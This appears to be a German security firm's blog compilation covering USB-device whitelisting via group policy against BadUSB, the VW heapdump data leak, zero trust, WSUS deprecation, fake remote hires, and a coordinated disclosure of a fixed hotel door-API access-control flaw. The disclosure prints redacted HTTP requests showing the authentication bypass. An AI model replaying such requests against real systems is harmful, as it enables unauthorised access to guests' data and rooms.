Gehen Sie dazu wie folgt vor:

  1. Bestimmen Sie die Hardware-ID des Wechselmediengeräts, deren Installation Sie zulassen möchten.
    Schließen Sie bspw. den USB-Speicherstick an einen Windows Client an, und öffnen Sie den Gerätemanager (devmgmt.msc). Suchen Sie den USB-Speicherstick unter dem Reiter „Laufwerke“. Öffnen Sie dessen Eigenschaften. Wechseln Sie zu Details -> Hardware-IDs und notieren Sie eine der IDs.
    Im folgenden Beispiel haben wir uns für USBSTOR\DiskJetFlash entschieden, da wir alle Modelle des USB-Speichersticks freigeben wollen, auch die mit einer anderen Speichergröße als 8 GB:
  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Geräteinstallation -> Einschränkungen bei der Geräteinstallation
  3. Aktivieren Sie die Option „Anwenden einer übergeordneten Reihenfolge für Zulassen und Verhindern-Geräteinstallationsrichtlinien für alle Geräteübereinstimmungskriterien“. Regulär wird zunächst die Installation von Geräten verboten und dann erlaubt (deny, allow). Durch die Aktivierung dieser Eigenschaft wird die Reihenfolge auf „allow, deny“ umgekehrt.
  4. Aktivieren Sie die Option „Installation von Geräten mit Treibern verhindern, die diesen Gerätesetupklassen entsprechen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die folgenden GUID-Werte, einschließlich der geschweiften Klammern, ein (GUID-Übersicht):
    • {4d36e965-e325-11ce-bfc1-08002be10318} (CD- und DVD-Laufwerke)
    • {4d36e980-e325-11ce-bfc1-08002be10318} (Diskettenlaufwerke)
    • {4d36e967-e325-11ce-bfc1-08002be10318} (Laufwerke für Wechseldatenträger, wie z. B. USB-Speichersticks oder externe Festplatten)
    • {6d807884-7d21-11cf-801c-08002be10318} (Bandlaufwerke)
    • {eec5ad98-8080-425f-922a-dabf3de3f69a} (WPD-Geräte, wie z. B. Smartphones)

Hinweis: Wechselmedien-Geräte die vor dem Aktivieren der Einstellung installiert wurden, können auch danach weiter genutzt werden. Wenn Sie dies verhindern möchten, aktivieren Sie die Einstellung „Auch auf übereinstimmende Geräte anwenden, die bereits installiert sind“. Wir empfehlen diese Einstellungen nur mit Vorsicht zu verwenden, da dies dazu führen kann, das bestehenden Verbindungen zu wichtigen externen Datenträgern nicht mehr funktionieren!

Hinweis 2: Die Empfehlung aus der offiziellen Microsoft-Dokumentation nur die GUIDs {36fc9e60-c465-11cf-8056-444553540000} (USB-Host-Controller und USB-Hubs) und {88BAE032-5A81-49f0-BC3D-A4FF138216D6} (USB-Geräte die nicht zu einer anderen Klasse gehören) hier einzutragen, ist unvollständig. Dadurch können bspw. weiterhin WPD-Geräte, wie Smartphones, angeschlossen werden. Wir empfehlen daher die oben genannten Geräteklassen-GUIDs zu verwenden.

  1. Aktivieren Sie die Option „Installation von Geräten mit diesen Geräte-IDs zulassen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die Hardware-ID(s) ein, welche Sie zulassen möchten (siehe Schritt 1):

Die finale Konfiguration sollten nun wie folgt aussehen:

Prüfen Sie, ob die Einstellung Wirkung zeigt, in dem Sie einen zweiten USB-Speicherstick (mit abweichender Hardware-ID) anschließen, den Sie zuvor noch nie an das System angeschlossen haben. Das Gerät sollte daraufhin nicht installiert werden.

Sollten sich der Speicherstick wider Erwarten installieren lassen, öffnen Sie den Geräte-Manager und suchen Sie den angeschlossene Speicherstick unter „Laufwerke“. Klicken Sie mit der rechten Maustaste auf den Eintrag und wählen Sie „Gerät deinstallieren“:

Dadurch wird der gerade installierte Treiber wieder deinstalliert. Danach können Sie das Gerät abziehen.

Prüfen Sie anschließend Ihre vorgenommenen Einstellungen auf Korrektheit und probieren Sie erneut, den Speicherstick anzuschließen.

3. Installation von Tastaturen beschränken

Geräte die sich als USB-Tastaturen ausgeben, wie der allseits bekannte RubberDucky, um dadurch bösartige Eingaben durchzuführen und Code nachzuladen, stellen ebenfalls ein Risiko dar. Bei diesen „BadUSB“-Angriffen handelt es sich um einen Seitenkanal-Angriff, bei dem die Fähigkeiten von Keyboard-Devices dazu missbraucht werden, Daten und Code auf dem Zielgerät zu platzieren bzw. zur Ausführung zu bringen.

Vor dem Anschluss von BadUSB-Geräten kann man sich schützen, indem man wie im vorigen Kapitel auch, eine Liste für den Anschluss zugelassener Tastaturen im Windows hinterlegt (Whitelisting) und den Anschluss anderer Tastaturen verbietet.

Um den Anschluss von Tastatur-Geräten einzuschränken, gehen Sie wie folgt vor:

  1. Bestimmen Sie die Hardware-ID der Tastatur, deren Installation Sie zulassen möchten.
    Öffnen Sie den Gerätemanager (devmgmt.msc). Suchen Sie die angeschlossene Tastatur unter dem Reiter „Tastaturen“. Öffnen Sie deren Eigenschaften. Wechseln Sie zu „Details -> Hardware-IDs“ und notieren Sie sich die Hardware-IDs der Tastaturen, die sie freigeben möchten. In der folgenden Abbildung ist dies ID HID\VID_046A&UP:0001_U:0006, was einer beliebigen Cherry-Tastatur entspricht. Um die Installation von beliebigen Logitech-Tastaturen zu erlauben, müsste bspw. die ID HID\VID_046D&UP:0001_U:0006 (mit einem „D“  statt einem „A“) freigegeben werden:
  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Geräteinstallation -> Einschränkungen bei der Geräteinstallation
  3. Aktivieren Sie die Option „Anwenden einer übergeordneten Reihenfolge für Zulassen und Verhindern-Geräteinstallationsrichtlinien für alle Geräteübereinstimmungskriterien“. Regulär wird zunächst die Installation von Geräten verboten und dann erlaubt (deny, allow). Durch die Aktivierung dieser Eigenschaft wird die Reihenfolge auf „allow, deny“ umgekehrt.
  4. Aktivieren Sie die Option „Installation von Geräten mit Treibern verhindern, die diesen Gerätesetupklassen entsprechen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier den Wert {4D36E96B-E325-11CE-BFC1-08002BE10318} ein. Dieser entspricht die GUID der Geräteklassen „Tastaturen“ (GUID-Übersicht).

Hinweis: Tastaturen, die vor dem Aktivieren der Einstellung installiert wurden, können auch danach weiter genutzt werden. Wenn Sie dies verhindern möchten, aktivieren Sie die Einstellung „Auch auf übereinstimmende Geräte anwenden, die bereits installiert sind“. Wir empfehlen diese Einstellungen nur mit Vorsicht zu verwenden, da dies dazu führen kann, dass bspw. auch integrierte Laptop-Tastaturen nicht mehr verwendet werden können!

  1. Aktivieren Sie die Option „Installation von Geräten mit diesen Geräte-IDs zulassen“. Öffnen Sie die Option und klicken Sie anschließend auf „Anzeigen…“. Tragen Sie hier die Hardware-ID(s) ein, welche Sie zulassen möchten (siehe Schritt 1):

Prüfen Sie, ob die Konfiguration Wirkung zeigt, in dem Sie eine von ihrer Hardware-ID abweichende Tastatur (oder einen RubberDucky) anschließen, die Sie zuvor noch nie an das System angeschlossen haben. Das Gerät sollte nicht installiert werden.

Sollte sich die Tastatur dennoch anschließen und bedienen lassen, gehen Sie wie am Ende von Kapitel „Installation von Wechselmedien beschränken“ beschrieben vor, um den Gerätetreiber wieder zu deinstallieren.

Quellen:

Anleitung zur Beschränkungen von USB-Schnittstellen:

Taktiken und Techniken aus dem MITRE ATT&CK Framework:

Hak5 RubberDucky:

WPD und MTP:

Hardware-IDs:

Geräteklassen-GUIDs:

Freigiebiger Datenreichtum bei VW

Die Frage der Datenhoheit, die sich aus der Erfassung und Nutzung von Daten durch Fahrzeuge ergibt, ist Gegenstand kontroverser Diskussionen. Fahrzeughersteller vertreten die Auffassung, dass diese Daten als ihr Eigentum zu betrachten sind, während Halter von Fahrzeugen der Meinung sind, dass es sich um personenbezogene Daten handelt, was die Anwendung der DSGVO impliziert.

https://www.adac.de/rund-ums-fahrzeug/ausstattung-technik-zubehoer/assistenzsysteme/daten-im-auto-eu-data-act

Der ADAC hat bereits 2016 festgestellt, dass sich aus Daten der Autosensoren und der Bewegungsdaten Rückschlüsse auf das Nutzungsprofil ziehen lassen. Im Januar 2024 wies der ADAC erneut darauf hin, dass unsere Autos mittlerweile sehr viele Daten sammeln.

https://www.adac.de/rund-ums-fahrzeug/ausstattung-technik-zubehoer/assistenzsysteme/daten-modernes-auto

Das ungewollte Offenlegen der Bewegungsdaten von Elektrofahrzeugen des Volkswagen-Konzerns kann als eine natürliche „Fruchtfolge“ von Erhebung, Verwendung und Datenpanne betrachtet werden.

Wie bereits von den Vortragenden auf dem 38C3 treffend angemerkt, lag der eigentliche Fehler darin begründet, dass die Daten überhaupt erhoben wurden.

Doch was ist passiert? Die VW-Tochter Cariad, die für die Entwicklung der betroffenen Software des Autokonzerns verantwortlich ist, betreibt eine Spring-basierte Webanwendung, die aus dem Internet erreichbar ist. Über diese Webanwendung waren mehrere API-Endpunkte ohne Passwortschutz erreichbar. Darunter auch der Spring Boot Actuator mit seinem Endpunkt Heapdump.

https://docs.spring.io/spring-boot/api/rest/actuator/heapdump.html

Ein Heapdump ist eine Momentaufnahme des Speichers (Heap) einer laufenden Java-Anwendung. Er enthält Informationen über alle Objekte, die sich zu einem bestimmten Zeitpunkt im Speicher befinden, einschließlich ihrer Referenzen untereinander.

https://www.codecentric.de/wissens-hub/blog/java-heapdumps-erzeugen-und-verstehen-4-akt

Heapdumps werden häufig zur Analyse von Speicherproblemen wie OutOfMemoryError verwendet.

https://www.baeldung.com/java-heap-thread-core-dumps

Es können aber auch gespeicherte Geheimnisse wie z. B. (API-)Schlüssel enthalten sein, welche sich mit einfachen Analysewerkzeugen extrahieren lassen. Genau dies war bei VW der Fall. Mit diesen Geheimnissen konnte dann auf einen eigentlich zugriffsgeschützten Cloud-Speicher zugegriffen werden. Und auf diesem befand sich eine sehr umfangreiche Datensammlung.

Da VW die Positionsdaten mit einer höheren Genauigkeit speicherte (10 cm) als in den AGB vorgesehen (diese spricht von „gekürzten GPS-Daten“), waren sehr genaue Auswertungen der Fahrzeughalter möglich. Böswillige Organisationen hätten mit diesen Daten den Aufenthaltsort und ggf. das Verhalten u. a. auch von Mitarbeitern sicherheitsrelevanter Behörden ermitteln können – wo geht wer zu welchen Sportaktivitäten, welcher Arzt wird wann aufgesucht, wo wird einkauft, …

Fazit: Daten, die nicht erhoben werden, können auch nicht ungewollt offengelegt werden. Datensparsamkeit darf keine leere Phrase sein.

https://spiegel.de/netzwelt/web/volkswagen-konzern-datenleck-wir-wissen-wo-dein-auto-steht-a-e12d33d0-97bc-493c-96d1-aa5892861027

https://heise.de/news/In-der-Cloud-abgelegt-Terabyte-an-Bewegungsdaten-von-VW-Elektroautos-gefunden-10220623.html

https://vinqo.de/vw-datenskandal-betroffene-schliessen-sich-fur-mogliche-sammelklage-zusammen/

Perimeter Defense

Zuletzt häuften sich erneut herstellerübergreifend die Sicherheitslücken in Firewalls, also gerade in den Geräten, die die Umgebung eigentlich schützen sollten. Die Rolle der Perimeterverteidigung wird nunmehr infrage gestellt und Zero Trust nicht nur als neues Buzzword verwendet, sondern auch als innovative Lösung der Hersteller versprochen.

Das Konzept dahinter ist aber gar nicht so innovativ: Bereits 1994 wurde „Zero Trust“ im Rahmen einer Dissertation definiert. Über die Jahre finden sich viele weitere Talks und Beiträge, die gegen Firewalls als alleinige Sicherheitskonzepte plädieren, aber auch die grundsätzliche Rolle dieser Geräte hinterfragen. Eine eindeutige Definition des Begriffes „Zero Trust“ wird zunehmend durch die Derivationen der Hersteller schwieriger, aber das Konzept ist recht simpel: statt einer geschützten Grenze zwischen dem „bösen“ Internet und dem „guten“ Intranet wird das gesamte Transportmedium als grundsätzlich nicht vertrauenswürdig angesehen. Ein Schutz der Daten findet dann direkt über das Anwendungsprotokoll statt.

Wenngleich der Begriff das Misstrauen gegenüber allen beteiligten Instanzen suggeriert, verbleibt die Notwendigkeit dem Anbieter einer solchen Lösung zu vertrauen. Das heißt wie auch schon heute mit Firewalls ist dessen Reputation entscheidend. Besonders klar machte uns das die Meldung über die Ausnutzung eben dieser besonderen Privilegien durch das X-Ops Team von Sophos, um eine chinesische APT-Gruppe zu verfolgen, indem die Sicherheitsforschenden eigene Malware auf den Geräten hinterlegten.

Wie so oft ist die vorgestellte Lösung also nicht das Allheilmittel, es ist weiterhin wichtig alle Optionen im Blick zu haben und die beste Umsetzung für die eigene Umgebung auszuwählen.

https://www.wired.com/story/sophos-chengdu-china-five-year-hacker-war

https://news.sophos.com/en-us/2024/10/31/pacific-rim-neutralizing-china-based-threat/

https://www.securityweek.com/security-perimeter-dead

https://media.ccc.de/v/gpn21-88-perimeter-security-is-dead-get-over-it-

https://www.cvedetails.com/vulnerability-list/vendor_id-3080/Fortinet.html?page=1&year=2024&month=-1&order=1

https://dspace.stir.ac.uk/bitstream/1893/2010/1/Formalising%20trust%20as%20a%20computational%20concept.pdf

WSUS: mit oder ohne Ende?

Im September sorgte eine Ankündigung von Microsoft bei Windows-Server-Administratoren für Unruhe: Die WSUS-Funktion sei jetzt „deprecated“. Über WSUS verteilen viele Organisationen die System- und Anwendungsupdates von Microsoft. Das spart nicht nur Download-Bandbreite, wenn das Update nur einmal in die Organisation geladen wird, sondern ermöglicht das gezielte Freigeben und Zurückhalten von Updates. Soll damit jetzt Schluss sein?

Schaut man sich die ursprüngliche Nachricht näher an, geht das alles doch nicht so schnell. Tatsächlich wurde der Informationspost von Microsoft selbst auch noch einmal nachgeschärft, nachdem es viele Nachfragen gab. Der Status „deprecated“ heißt erst einmal nur, dass keine neuen Funktionen ergänzt werden. WSUS-Kenner mögen nun einwenden, dass es schon sehr lange keine neuen Funktionen mehr gab, und dass jetzt also eher der Status quo dokumentiert wurde. Auf der anderen Seite tut die Software, was sie tun soll, und es gibt auch keinen großen Änderungsdruck.

So wird WSUS auch im kommenden Windows Server 2025 enthalten sein und damit in den kommenden Jahren weiter nutzbar bleiben. In dem Fall hängt die Nutzbarkeit nicht nur von der lokal laufenden Software, sondern auch vom Bereitstellen der nötigen Daten bei Microsoft ab. Und selbst das wird im Abkündigungspost für die weitere Zukunft zugesichert.

Kann also doch alles bleiben, wie es ist? Die Antwort ist wie immer: „Kommt darauf an“. Es besteht jedenfalls kein akuter Handlungsbedarf. Aber es ist ein guter Anlass, präventiv mögliche Alternativen für die Patch-Verteilung anzuschauen, falls die Funktion in der übernächsten Serverversion entfallen sollte. Microsoft selbst bietet mehrere alternative Lösungen für Clients und Server an – die jedoch alle Cloud-basiert sind. Auch mit anderen Softwareverteilungslösungen lassen sich inzwischen gut Betriebssystem-Updates verteilen.

https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-server-update-services-wsus-deprecation/ba-p/4250436

https://learn.microsoft.com/de-de/windows-server/get-started/removed-deprecated-features-windows-server-2025 

Bewerbungsgespräch mit einem Angreifer

Das Sicherheitsunternehmen KnowB4 hat einen Fall öffentlich gemacht, bei dem sich ein neuer Mitarbeiter als nordkoreanischer Spion entpuppte. Enttarnt wurde er gleich am ersten Tag, nachdem er als Remote-Arbeiter zum ersten Mal seinen zugesandten Rechner startete und sofort eine Malware installieren wollte. Im Nachhinein fielen dann auch weitere Ungereimtheiten bei der Bewerbung auf, die das Sicherheitsunternehmen zur Warnung anderer Unternehmen in seinem Blog beschreibt.

Im Juni hatte das Wall Street Journal bereits ausführlicher über diese Gefahr berichtet und verschiedene andere Betroffene zitiert. Genutzt werden dabei sogenannte Laptop-Farmen, die die Rechner der vermeintlichen Homeoffice-Arbeitenden einsammeln, zeitlich passend in Betrieb nehmen und mit einer Fernsteuerungslösung ausstatten, damit sich anschließend mehrere Personen die Aufgaben des vorgeblichen Mitarbeitenden teilen können und natürlich gleichzeitig ihre eigenen Ziele verfolgen.

Diese Angriffsart funktioniert “dank“ standardisierter Bewerbungsprozesse, die komplett remote ablaufen und der Tatsachen, dass auch zur Arbeitsaufnahme kein persönliches Treffen vorgesehen ist. Die vermeintlichen Mitarbeitenden existieren nur als KI-generierte Lebensläufe und als manipulierte Bilder.

Wenn Sie jetzt an Ihre Abläufe bei Bewerbungen und die ersten Wochen für neue Mitarbeitende denken: An welcher Stelle würde Ihnen ein Angriffsversuch dieser Art auffallen?

https://blog.knowbe4.com/how-a-north-korean-fake-it-worker-tried-to-infiltrate-us

https://www.wsj.com/articles/deepfakes-fraudsters-and-hackers-are-coming-for-cybersecurity-jobs-e2a76d06

Schwachstelle öffnet Türen in mehr als 3.000 Hotels

Es mag bequem klingen: Die Zimmertür im Hotel lässt sich ganz ohne Schlüssel oder Karte vom Smartphone aus entriegeln. Doch was passiert, wenn die Logik eines solchen Systems nicht ausreichend abgesichert ist?

Zimmertüren von Hotels aus über 25 Ländern ließen sich mit einer neu entdeckten Schwachstelle öffnen. Bequem? Ja, über das Internet und ohne Zugangsdaten. Dazu konnten sämtliche Reservierungsinformationen (u. a. Name, E-Mail, Reservierungszeitraum und Raumnummer) eingesehen werden. Doch wie kam es dazu?

Zusammenfassung

Die Firma straiv ist ein innovativer und digitaler Begleiter für Hotelbranchen. Als solcher bieten sie unter anderem Online-Check-ins und digitale Türöffnungen an. Was den Sicherheitsforschern Björn Brauer, Deniz Adrian und David Mathiszik bei einem Hotelbesuch jedoch auffiel: Angreifenden wäre es dank einer fehlerhaften Zugangskontrolle in der API möglich, den Check-in und das Öffnen von Türen auch ohne Autorisierung über das Internet zu bedienen.

Im Rahmen einer vertraulichen Offenlegung (engl. Responsible Disclosure oder auch Coordinated Vulnerability Disclosure – CVD) wurden die technischen Details daraufhin direkt an den Hersteller übermittelt. straiv reagierte zeitnah und behob die Sicherheitslücke in ihrer Anwendung umgehend.


Dank ihres Software-as-a-Service-Ansatzes konnte das Unternehmen das Sicherheitsrisiko zeitgleich für alle Kunden mitigieren. Es wird daher auch keine CVE-ID für diese Schwachstelle vergeben. Die Veröffentlichung der Schwachstelle erfolgt in Abstimmung mit dem Hersteller frühestens einen Monat nach der erfolgreichen Behebung.

Die Ursache: Broken Access Control

Broken Access Control belegt aktuell Platz 1 unter den beliebtesten (lies: häufigsten) Schwachstellen in Webanwendungen (siehe: A01:2021 – OWASP Top 10). Auch hier war eine fehlerhafte Zugriffskontrolle die Ursache.

Für gewöhnlich erhalten Gäste eine E-Mail mit einem Link zu ihrer Reservierung. Über diesen werden sie auf die Webanwendung von straiv weitergeleitet. Dort können Buchungsinformationen, die Reisedaten und alle Begleiterprofile eingesehen werden. Ein weiterer Menüreiter führt zu den digitalen Zimmerschlüsseln. Darüber kann die Zimmertür während des eigenen Buchungszeitraums gesteuert werden. Dies geschieht über die API von straiv.io.

Normale API-Anfragen schienen mindestens durch einen HTTP-Header (X-Token), einen Code (cryptcode) und die Reservierungsnummer (reservation) geschützt zu werden. Wurde auch nur einer der Werte verändert, so wurde der Zugriff erwartungsgemäß verwehrt. Fehlten jedoch alle Werte gleichzeitig, wurde nur noch die Reservierungsnummer interpretiert.

In der folgenden beispielhaften Anfrage wurden sämtliche Authentifizierungsparameter, bis auf die Reservierungsnummer, leer gelassen und die API antwortete dennoch mit Informationen zur Reservierung.

POST /api/v2/auth HTTP/2
Host: start.straiv.io
X-Token:
X-Code:
X-Version: 12.3.0
Content-Type: application/json
{
    "cryptcode":"",
    "platform":"linux",
    "browser":"Firefox",
    "version":"115.0",
    "tokens":[],
    "reservation":"3XXXXX"
}

Das Ergebnis enthielt neben anderen Informationen auch einen validen token, der für weitere API-Anfragen genutzt werden konnte.

So lieferte der folgende API-Aufruf noch mehr Kundendetails:

GET /api/v2/vblo/pms/reservation?reservation_id= HTTP/2
Host: start.straiv.io
Accept: application/json, text/plain, */
X-Token: sXXXXXXXXXXXXXXXXXXXh
X-Code: XXXX
X-Version: 12.3.0

Statt die API zu verwenden, kann auch die remote_url aus der Antwort der ersten API-Anfrage verwendet werden, um bequem über die Webanwendung auf die Reservierung zuzugreifen:

HiSolutions hat keine Enumeration von Nutzerdaten durchgeführt und über das Abschätzen der Auswirkungen dieser Schwachstelle hinaus nicht mit der API oder den Buchungen interagiert. Prinzipiell standen alle Funktionalitäten des legitimen Benutzers uneingeschränkt zur Verfügung.

Mitigation

Für die Kunden von straiv bestand kein weiterer Handlungsbedarf. Die Sicherheitslücke wurde von den Entwicklern ernst genommen und umgehend geschlossen.

Grundsätzlich lassen sich Fehler dieser Art durch folgende allgemeine Empfehlungen verhindern:

  • Vertrauen Sie keinen Nutzereingaben – validieren Sie diese.
    Verlassen Sie sich nie auf die Gültigkeit von jeglichen Werten, die von den Endbenutzern beeinflusst werden können. Dazu gehören auch Cookie-Werte, Anfragenparameter und HTTP-Header. Auch auf serverseitig gespeicherte Informationen sollte nich blind in allen Kontexten vertraut werden.
  • Überprüfen Sie Gültigkeit aller Werte serverseitig. Weisen Sie leere oder ungültige Authentifizierungsinformationen zurück. Achten Sie bei der Implementierung von Tests auf eine vollständige Abdeckung aller Randszenarien (ein, mehrere oder auch alle Werte sind unerwartet, NULL, nicht definiert, vom falschen Typ, etc.).
  • Verwenden Sie starke Authentifizierungsmethoden.
    Implementationen sind stets abhängig von der Anwendung und dem Kontext. Greifen Sie, wenn möglich, auf bewährte und praxiserprobte Bibliotheken und Authentifizierungslösungen zurück. Verwenden Sie besonders in Bezug auf sensitive Informationen Zwei-Faktor-Authentifizierung. Stellen Sie zudem sicher, dass alle automatisch generierten Schlüssel, Codes und Token nicht leicht zu erraten und somit vor Brute-Force-Angriffen geschützt sind (vgl. UUID v4).
  • Durchsatzbegrenzung (engl. Rate Limiting) der API-Anfragen:
    Begrenzen Sie die mögliche Anzahl der Anfragen von einzelnen Systemen, um dem Missbrauch, wie der schnellen Enumeration von gültigen Reservierungen, vorzubeugen.

In ihrem Update hat straiv mindestens eine Anfragenbegrenzung aktiviert und Reservierungsnummern auf ein nicht-erratbares Format geändert.

Wie HiSolutions helfen kann

HiSolutions bietet spezialisierte Penetrationstests für Webanwendungen und Infrastrukturen an. Hierbei greifen wir auf langjährige Erfahrung zurück und kombinieren die Fähigkeiten modernster Scantechnologien mit manuellen Prüfverfahren, um die bestmögliche Testabdeckung zu gewährleisten.

Stellen Sie sicher, dass Schwachstellen gefunden und behoben werden, bevor Sie ausgenutzt werden können und kontaktieren Sie uns unter +49 30 533 289 0 oder dem Kontakformular für ein kostenloses Erstgespräch.

Koordinierte Veröffentlichung

  • 22.05.2024 HiSolutions sammelt Details zur Schwachstelle.
    Finder: Björn Brauer, Deniz Adrian & David Mathiszik
  • 23.05.2024 HiSolutions informiert betroffene Hotelkette und wird an straiv weitergeleitet.
  • 25.05.2024 straiv vereinbart einen Termin für die Übermittlung aller Details.
  • 04.06.2024 HiSolutions teilt alle Details mit straiv.
  • 06.06.2024 straiv veröffentlicht ein Update und HiSolutions bestätigt den Fix.